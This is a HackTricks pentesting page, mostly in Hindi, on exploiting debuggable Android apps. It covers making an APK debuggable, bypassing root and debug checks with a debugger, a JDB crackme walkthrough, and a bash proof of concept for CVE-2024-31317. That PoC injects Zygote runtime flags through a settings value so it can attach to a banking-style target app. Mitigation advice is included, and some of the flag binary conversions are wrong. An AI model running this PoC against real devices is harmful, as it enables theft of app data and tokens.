Exploiting a debuggeable application

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

रूट और डिबग करने योग्य जांचों को बायपास करना

इस पोस्ट का यह खंड https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 से एक सारांश है।

Android ऐप को डिबग करने योग्य बनाने और जांचों को बायपास करने के चरण

ऐप को डिबग करने योग्य बनाना

सामग्री https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 पर आधारित है।

  1. APK को डिकंपाइल करें:
  • APK को डिकंपाइल करने के लिए APK-GUI टूल का उपयोग करें।
  • android-manifest फ़ाइल में android:debuggable="true" डालें ताकि डिबगिंग मोड सक्षम हो सके।
  • संशोधित एप्लिकेशन को फिर से संकलित करें, साइन करें और ज़िपलाइन करें।
  1. संशोधित एप्लिकेशन स्थापित करें:
  • कमांड का उपयोग करें: adb install <application_name>
  1. पैकेज नाम प्राप्त करें:
  • तीसरे पक्ष के अनुप्रयोगों की सूची बनाने के लिए adb shell pm list packages –3 चलाएं और पैकेज नाम खोजें।
  1. ऐप को डिबगर कनेक्शन की प्रतीक्षा करने के लिए सेट करें:
  • कमांड: adb shell am setup-debug-app –w <package_name>
  • नोट: इस कमांड को हर बार एप्लिकेशन शुरू करने से पहले चलाना चाहिए ताकि यह डिबगर की प्रतीक्षा करे।
  • स्थायीता के लिए, adb shell am setup-debug-app –w ––persistent <package_name> का उपयोग करें।
  • सभी फ्लैग हटाने के लिए, adb shell am clear-debug-app <package_name> का उपयोग करें।
  1. Android Studio में डिबगिंग के लिए तैयार करें:
  • Android Studio में File -> Open Profile or APK पर जाएं।
  • पुनः संकलित APK खोलें।
  1. मुख्य जावा फ़ाइलों में ब्रेकपॉइंट सेट करें:
  • MainActivity.java (विशेष रूप से onCreate विधि में), b.java, और ContextWrapper.java में ब्रेकपॉइंट रखें।

जांचों को बायपास करना

ऐप कुछ बिंदुओं पर यह सत्यापित करेगा कि क्या यह डिबग करने योग्य है और यह रूटेड डिवाइस को इंगित करने वाले बाइनरी की भी जांच करेगा। डिबगर का उपयोग ऐप की जानकारी को संशोधित करने, डिबग करने योग्य बिट को अनसेट करने और खोजे गए बाइनरी के नामों को बदलने के लिए किया जा सकता है ताकि इन जांचों को बायपास किया जा सके।

डिबग करने योग्य जांच के लिए:

  1. फ्लैग सेटिंग्स को संशोधित करें:
  • डिबगर कंसोल के वेरिएबल सेक्शन में जाएं: this mLoadedAPK -> mApplicationInfo -> flags = 814267974
  • नोट: flags = 814267974 का बाइनरी प्रतिनिधित्व 11000011100111011110 है, जो इंगित करता है कि "Flag_debuggable" सक्रिय है।

https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png

ये चरण सामूहिक रूप से सुनिश्चित करते हैं कि एप्लिकेशन को डिबग किया जा सके और कि कुछ सुरक्षा जांचों को डिबगर का उपयोग करके बायपास किया जा सके, जिससे एप्लिकेशन के व्यवहार का अधिक गहन विश्लेषण या संशोधन संभव हो सके।

चरण 2 में फ्लैग मान को 814267972 में बदलना शामिल है, जो बाइनरी में 110000101101000000100010100 के रूप में दर्शाया गया है।

एक भेद्यता का शोषण करना

एक कमजोर एप्लिकेशन का प्रदर्शन किया गया जिसमें एक बटन और एक टेक्स्टव्यू था। प्रारंभ में, एप्लिकेशन "Crack Me" प्रदर्शित करता है। लक्ष्य रनटाइम पर "Try Again" से "Hacked" संदेश को बदलना है, बिना स्रोत कोड को संशोधित किए।

भेद्यता की जांच करना

  • एप्लिकेशन को apktool का उपयोग करके डिकंपाइल किया गया ताकि AndroidManifest.xml फ़ाइल तक पहुंच प्राप्त की जा सके।
  • AndroidManifest.xml में android_debuggable="true" की उपस्थिति यह संकेत देती है कि एप्लिकेशन डिबग करने योग्य है और शोषण के लिए संवेदनशील है।
  • यह ध्यान देने योग्य है कि apktool का उपयोग केवल डिबग करने योग्य स्थिति की जांच के लिए किया जाता है बिना किसी कोड को बदले।

सेटअप तैयार करना

  • प्रक्रिया में एक एमुलेटर शुरू करना, कमजोर एप्लिकेशन स्थापित करना, और adb jdwp का उपयोग करके सुनने वाले डेलविक वीएम पोर्ट की पहचान करना शामिल था।
  • JDWP (Java Debug Wire Protocol) एक VM में चल रहे एप्लिकेशन को डिबग करने की अनुमति देता है, एक अद्वितीय पोर्ट को उजागर करके।
  • दूरस्थ डिबगिंग के लिए पोर्ट फॉरवर्डिंग आवश्यक था, इसके बाद JDB को लक्षित एप्लिकेशन से जोड़ा गया।

रनटाइम पर कोड इंजेक्ट करना

  • शोषण को ब्रेकपॉइंट सेट करके और एप्लिकेशन के प्रवाह को नियंत्रित करके किया गया।
  • एप्लिकेशन की संरचना को उजागर करने के लिए classes और methods <class_name> जैसे कमांड का उपयोग किया गया।
  • onClick विधि पर एक ब्रेकपॉइंट सेट किया गया, और इसके निष्पादन को नियंत्रित किया गया।
  • स्थानीय वेरिएबल्स का निरीक्षण और संशोधन करने के लिए locals, next, और set कमांड का उपयोग किया गया, विशेष रूप से "Try Again" संदेश को "Hacked" में बदलने के लिए।
  • संशोधित कोड को run कमांड का उपयोग करके निष्पादित किया गया, सफलतापूर्वक एप्लिकेशन के आउटपुट को वास्तविक समय में बदल दिया गया।

इस उदाहरण ने दिखाया कि कैसे एक डिबग करने योग्य एप्लिकेशन के व्यवहार को हेरफेर किया जा सकता है, जैसे कि एप्लिकेशन के संदर्भ में डिवाइस पर शेल एक्सेस प्राप्त करना।


2024 – किसी भी एप्लिकेशन को डिबग करने योग्य प्रक्रिया में बदलना (CVE-2024-31317)

यहां तक कि यदि लक्षित APK नहीं भेजा गया है android:debuggable फ्लैग के साथ, हालिया शोध ने दिखाया है कि यह संभव है मनमाने एप्लिकेशनों को DEBUG_ENABLE_JDWP रनटाइम फ्लैग के साथ शुरू करने के लिए मजबूर करना, Zygote के कमांड-लाइन तर्कों को पार्स करने के तरीके का दुरुपयोग करके।

  • भेद्यता: Zygote के कमांड सॉकेट के माध्यम से प्रदान किए गए --runtime-flags की अनुचित मान्यता एक हमलावर को अनुमति देती है जो system_server तक पहुंच सकता है (उदाहरण के लिए, विशेषाधिकार प्राप्त adb शेल के माध्यम से जो WRITE_SECURE_SETTINGS अनुमति रखता है) अतिरिक्त पैरामीटर इंजेक्ट करने के लिए। जब तैयार किया गया कमांड system_server द्वारा पुनः चलाया जाता है, तो पीड़ित ऐप डिबग करने योग्य के रूप में और एक JDWP थ्रेड सुनने के साथ फोर्क किया जाता है। इस मुद्दे को CVE-2024-31317 के रूप में ट्रैक किया गया है और इसे जून 2024 के Android सुरक्षा बुलेटिन में ठीक किया गया था।
  • प्रभाव: किसी भी ऐप (विशेषाधिकार प्राप्त जैसे com.android.settings) के निजी डेटा निर्देशिका तक पूर्ण पढ़ने/लिखने की पहुंच, टोकन चोरी, MDM बायपास, और कई मामलों में अब-डिबग करने योग्य प्रक्रिया के निर्यातित IPC एंडपॉइंट्स का दुरुपयोग करके विशेषाधिकार वृद्धि के लिए सीधा मार्ग।
  • प्रभावित संस्करण: जून 2024 पैच स्तर से पहले Android 9 से 14।

त्वरित PoC

bash
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"

# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1

# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp               # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700

चरण 1 में तैयार किया गया मान पार्सर को "फास्ट-पाथ" से बाहर निकालता है और एक दूसरा सिंथेटिक कमांड जोड़ता है जहाँ --runtime-flags=0x104 (DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE) को इस तरह स्वीकार किया जाता है जैसे कि इसे फ्रेमवर्क द्वारा प्रदान किया गया हो। एक बार जब ऐप उत्पन्न हो जाता है, तो एक JDWP सॉकेट खोला जाता है और नियमित डायनामिक-डिबग ट्रिक्स (मेथड रिप्लेसमेंट, वेरिएबल पैचिंग, लाइव फ्रिडा इंजेक्शन, आदि) संभव हैं बिना APK या डिवाइस बूट इमेज को संशोधित किए

पहचान और शमन

  • 2024-06-01 (या बाद में) सुरक्षा स्तर के लिए पैच करें - Google ने ZygoteCommandBuffer को मजबूत किया है ताकि बाद के कमांड इस तरीके से तस्करी नहीं किए जा सकें।
  • उत्पादन उपकरणों पर WRITE_SECURE_SETTINGS / shell पहुंच को सीमित करें। इस एक्सप्लॉइट के लिए इस अनुमति की आवश्यकता होती है, जो सामान्यतः केवल ADB या OEM-विशिष्ट ऐप्स के पास होती है।
  • EMM/MDM-प्रबंधित बेड़े पर, ro.debuggable=0 को लागू करें और adb disable-verifier के माध्यम से शेल को अस्वीकार करें।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें